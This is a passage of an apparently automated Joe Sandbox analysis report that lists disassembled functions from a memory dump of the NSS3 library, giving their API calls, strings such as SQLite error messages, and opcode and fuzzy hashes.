Part of subcall function 6CDDFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CDDFF3B

Strings

%s at line %d of [%.10s], xrefs: 6CDDFD73, 6CDDFE35
database corruption, xrefs: 6CDDFD6E, 6CDDFE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDDFD64, 6CDDFE26

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: e20350aaf6e9f981caa1921e68915f563ea89d68dd217a2af941185b9a8ef792
Instruction ID: 88a6f58ecbcc47e2aa0dd4e4f2c07b55324eb26639da12d6a479e5c5c7d23517
Opcode Fuzzy Hash: e20350aaf6e9f981caa1921e68915f563ea89d68dd217a2af941185b9a8ef792
Instruction Fuzzy Hash: 69516E71E00205DFDB04CFA9D890AAEB7B1EF48318F154469E905ABB66E731ED50CBA0

Function 6CF22F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF22FFD
sqlite3_initialize.NSS3 ref: 6CF23007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CF23032
sqlite3_mprintf.NSS3(6CF8AAF9,?), ref: 6CF23073
sqlite3_free.NSS3(?), ref: 6CF230B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CF230C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CF230BB

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 56cfdbd6cb36b31499c934cdf2739b46b37ae906f63d8fc2416866c9222ac82a
Instruction ID: 2975a04a7c678cb3d6daf73586af772b14b371ac74aa5a656dc8190ecfa95346
Opcode Fuzzy Hash: 56cfdbd6cb36b31499c934cdf2739b46b37ae906f63d8fc2416866c9222ac82a
Instruction Fuzzy Hash: 7641A572600606AFDB10CF65D840A46B7F5FF44368F158528EC598BB40E735F959CBE1

Function 6CEA5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]l), ref: 6CEA5F0A
TlsGetValue.KERNEL32 ref: 6CEA5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CEA5F2F
PR_Unlock.NSS3(890008E8), ref: 6CEA5F55
PR_SetError.NSS3(00000000,00000000), ref: 6CEA5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CEA5F7D

Part of subcall function 6CEA5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CEA5F82,8B4274C0), ref: 6CEA5248
Part of subcall function 6CEA5220: EnterCriticalSection.KERNEL32(0F6CF70D,?,6CEA5F82,8B4274C0), ref: 6CEA525C
Part of subcall function 6CEA5220: PR_SetError.NSS3(00000000,00000000), ref: 6CEA528E
Part of subcall function 6CEA5220: PR_Unlock.NSS3(0F6CF6F1), ref: 6CEA5299
Part of subcall function 6CEA5220: free.MOZGLUE(00000000), ref: 6CEA52A9

Strings

q]l, xrefs: 6CEA5EDB, 6CEA5F09

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]l
API String ID: 3150690610-3830342008
Opcode ID: 4a946a6b8768c22d6af3a4398c2cbc8e2fd906c8d5befc3a610c4b0f511f1747
Instruction ID: 6840e8a991e804b7df9ecaa72ce914f7539120638216a140e9bf0ec89f0f0531
Opcode Fuzzy Hash: 4a946a6b8768c22d6af3a4398c2cbc8e2fd906c8d5befc3a610c4b0f511f1747
Instruction Fuzzy Hash: E021D6B5D006049FDB10AFA4EC41BEEB7B4EF09318F64402DE919AB701E732A955CB91

Function 6CE68CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CE7124D,00000001), ref: 6CE68D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CE7124D,00000001), ref: 6CE68D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CE7124D,00000001), ref: 6CE68D73
PR_Unlock.NSS3(?,?,?,?,?,6CE7124D,00000001), ref: 6CE68D8C

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

PR_Unlock.NSS3(?,?,?,?,?,6CE7124D,00000001), ref: 6CE68DBA

Strings

KRAM, xrefs: 6CE68CF9
KRAM, xrefs: 6CE68D3E

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 9d3f215a665f8284ba67d7e7917f4f3735cc8456d48235d6bd9c4bc1215fd4f7
Instruction ID: 2d0d81d3bac350a7cc75cc2e7a49c03c8c7d1584e7752dd564b5de6317033787
Opcode Fuzzy Hash: 9d3f215a665f8284ba67d7e7917f4f3735cc8456d48235d6bd9c4bc1215fd4f7
Instruction Fuzzy Hash: 4521B2B5A54601CFCB50EF7AC48465EBBF4FF46318F25896AD89887B01E731D842CBA1

Function 6CF60ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF60EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF60EFA

Part of subcall function 6CE4AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE4AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F2B

Strings

Aborting, xrefs: 6CF60EB3
Assertion failure: %s, at %s:%d, xrefs: 6CF60ED9, 6CF60EE5, 6CF60F06, 6CF60F0B

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 9abe3fd36280a1e924317e13bcaa798cfc799f325546c9a479d31947c6fad4fb
Instruction ID: 0c8c55d5f4f088bd584a07a8ac29d0688631d1b134a534cf3f76d06a28b9782c
Opcode Fuzzy Hash: 9abe3fd36280a1e924317e13bcaa798cfc799f325546c9a479d31947c6fad4fb
Instruction Fuzzy Hash: C201C0B5910114ABDF01AFA5EC45DAB3F3DEF46364B104025FD1997B01D672E95087A2

Function 6CF41C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=l,?,?,6CE44E1D), ref: 6CF41C8A
sqlite3_free.NSS3(00000000), ref: 6CF41CB6

Strings

a CHECK constraint, xrefs: 6CF41C76, 6CF41C81
w=l, xrefs: 6CF41C44
an index, xrefs: 6CF41C67
a generated column, xrefs: 6CF41C6C
non-deterministic use of %s() in %s, xrefs: 6CF41C85

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=l
API String ID: 1840970956-366597085
Opcode ID: abab617a7cd1cdd3cd9e911dbf3d74ec94508a16e92e634277b20f3d635fcc57
Instruction ID: e94e3524a8d43c628318cbd41ed7af75683a4e5779d193cbf579cfaf8b2cb88c
Opcode Fuzzy Hash: abab617a7cd1cdd3cd9e911dbf3d74ec94508a16e92e634277b20f3d635fcc57
Instruction Fuzzy Hash: 550147B1B001405BD700BB68D802AB277F5EFC234CB15487DED488BB13EB22E866C791

Function 6CF24D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF24DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF24DE0

Strings

API call with %s database connection pointer, xrefs: 6CF24DBD
invalid, xrefs: 6CF24DB8
%s at line %d of [%.10s], xrefs: 6CF24DDA
misuse, xrefs: 6CF24DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF24DCB

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: ceae30e3d55ef7d4c7f6e99951a53797b3361e74d1c2ab705b2cc90a9e046a9b
Instruction ID: 4dc32bef1f36e5f112a6f4cbdea721eefcaf6a21fa73bd9b48436f6d002e9912
Opcode Fuzzy Hash: ceae30e3d55ef7d4c7f6e99951a53797b3361e74d1c2ab705b2cc90a9e046a9b
Instruction Fuzzy Hash: 69F0E921F156742BD7005195CC10FC63BA54F02329FD609E1ED04AFE92D24FAD5083E1

Function 6CF24DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF24E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF24E4D

Strings

API call with %s database connection pointer, xrefs: 6CF24E2A
invalid, xrefs: 6CF24E25
%s at line %d of [%.10s], xrefs: 6CF24E47
misuse, xrefs: 6CF24E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF24E38

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 066283177b0f070976d3184e8464d9f7a6c26a88131c4f0851dcf86f6f3b40f9
Instruction ID: e2b9ff5fed44da21dff4b90de7ec463bd0d2d4c86702a51ad129ac9fb0709570
Opcode Fuzzy Hash: 066283177b0f070976d3184e8464d9f7a6c26a88131c4f0851dcf86f6f3b40f9
Instruction Fuzzy Hash: 67F0A711F46D282BFB1052AA9C10FD73BA58B02329F5945A1EA0C6BE92D74E9D704AD1

Function 6CE59FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE5A086
EnterCriticalSection.KERNEL32(?), ref: 6CE5A09B
PR_Unlock.NSS3(?), ref: 6CE5A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5A0E9
TlsGetValue.KERNEL32 ref: 6CE5A11B
EnterCriticalSection.KERNEL32(?), ref: 6CE5A12F
PR_Unlock.NSS3(?), ref: 6CE5A148

Part of subcall function 6CE71A40: PR_Now.NSS3(?,00000000,6CE528AD,00000000,?,6CE6F09A,00000000,6CE528AD,6CE593B0,?,6CE593B0,6CE528AD,00000000,?,00000000), ref: 6CE71A65

Part of subcall function 6CE71940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CE74126,?), ref: 6CE71966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5A1A3

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: f7c26eef024d3cddb350ec1328dbfa100d756168eee980cc166da257720c2920
Instruction ID: 08549017055b03e15209a1b7c783e008c2c492f7578a0d6df51f08560a253a07
Opcode Fuzzy Hash: f7c26eef024d3cddb350ec1328dbfa100d756168eee980cc166da257720c2920
Instruction Fuzzy Hash: 40510AB2E402009BEB109F79DD44ABB77B8AF4634CB65442DDC1997B01EB32D856C6B1

Function 6CE90C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CE91444,?,00000001,?,00000000,00000000,?,?,6CE91444,?,?,00000000,?,?), ref: 6CE90CB3

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?,?,6CE91444,?), ref: 6CE90DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?,?,6CE91444,?), ref: 6CE90DEC

Part of subcall function 6CEB0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE52AF5,?,?,?,?,?,6CE50A1B,00000000), ref: 6CEB0F1A
Part of subcall function 6CEB0F10: malloc.MOZGLUE(00000001), ref: 6CEB0F30
Part of subcall function 6CEB0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CEB0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?), ref: 6CE90DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CE91444,?,00000001,?,00000000), ref: 6CE90E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?), ref: 6CE90E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?,?,6CE91444,?,?,00000000), ref: 6CE90E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CE91444,?,00000001,?,00000000,00000000,?), ref: 6CE90E79

Part of subcall function 6CEA1560: TlsGetValue.KERNEL32(00000000,?,6CE70844,?), ref: 6CEA157A
Part of subcall function 6CEA1560: EnterCriticalSection.KERNEL32(?,?,?,6CE70844,?), ref: 6CEA158F
Part of subcall function 6CEA1560: PR_Unlock.NSS3(?,?,?,?,6CE70844,?), ref: 6CEA15B2

Part of subcall function 6CE6B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CE71397,00000000,?,6CE6CF93,5B5F5EC0,00000000,?,6CE71397,?), ref: 6CE6B1CB
Part of subcall function 6CE6B1A0: free.MOZGLUE(5B5F5EC0,?,6CE6CF93,5B5F5EC0,00000000,?,6CE71397,?), ref: 6CE6B1D2

Part of subcall function 6CE689E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CE688AE,-00000008), ref: 6CE68A04
Part of subcall function 6CE689E0: EnterCriticalSection.KERNEL32(?), ref: 6CE68A15
Part of subcall function 6CE689E0: memset.VCRUNTIME140(6CE688AE,00000000,00000132), ref: 6CE68A27
Part of subcall function 6CE689E0: PR_Unlock.NSS3(?), ref: 6CE68A35

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: db24c4d14d4df5aa947cd44bf66934e98c22a7198ad7afe01b5fab6b1a33c0ed
Instruction ID: fa54f02e5d2a86d040ccfd5539514cd54d37216878cfb8ebe88233c7cb784b2b
Opcode Fuzzy Hash: db24c4d14d4df5aa947cd44bf66934e98c22a7198ad7afe01b5fab6b1a33c0ed
Instruction Fuzzy Hash: DA5198B6E002019FEB109F64DC85AAB37B8DF4925CF650468EC1997B12FB31ED15C7A2

Function 6CE46E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CE46ED8
sqlite3_value_text.NSS3(?,?), ref: 6CE46EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CE46FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CE46FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CE46FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CE47010
sqlite3_value_blob.NSS3(?,?), ref: 6CE4701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CE47052

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 89c5170e818e92f6f727752babeaab5437377588b33c00addce051e4a62536c0
Instruction ID: 75fee85f2117d0d921ed3f6ff7c73d787d615bda01d172250ded09f6e65b212f
Opcode Fuzzy Hash: 89c5170e818e92f6f727752babeaab5437377588b33c00addce051e4a62536c0
Instruction Fuzzy Hash: 9F61D5B1E152468FDB00CFA5E8017EEB7B6BF85308F388169D455ABB51E7359C06CB90

Function 6CEB8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CEB7313), ref: 6CEB8FBB

Part of subcall function 6CEB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE58298,?,?,?,6CE4FCE5,?), ref: 6CEB07BF
Part of subcall function 6CEB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEB07E6
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB081B
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB90F1

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CEB7313), ref: 6CEB906B

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CEB7313), ref: 6CEB9128

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
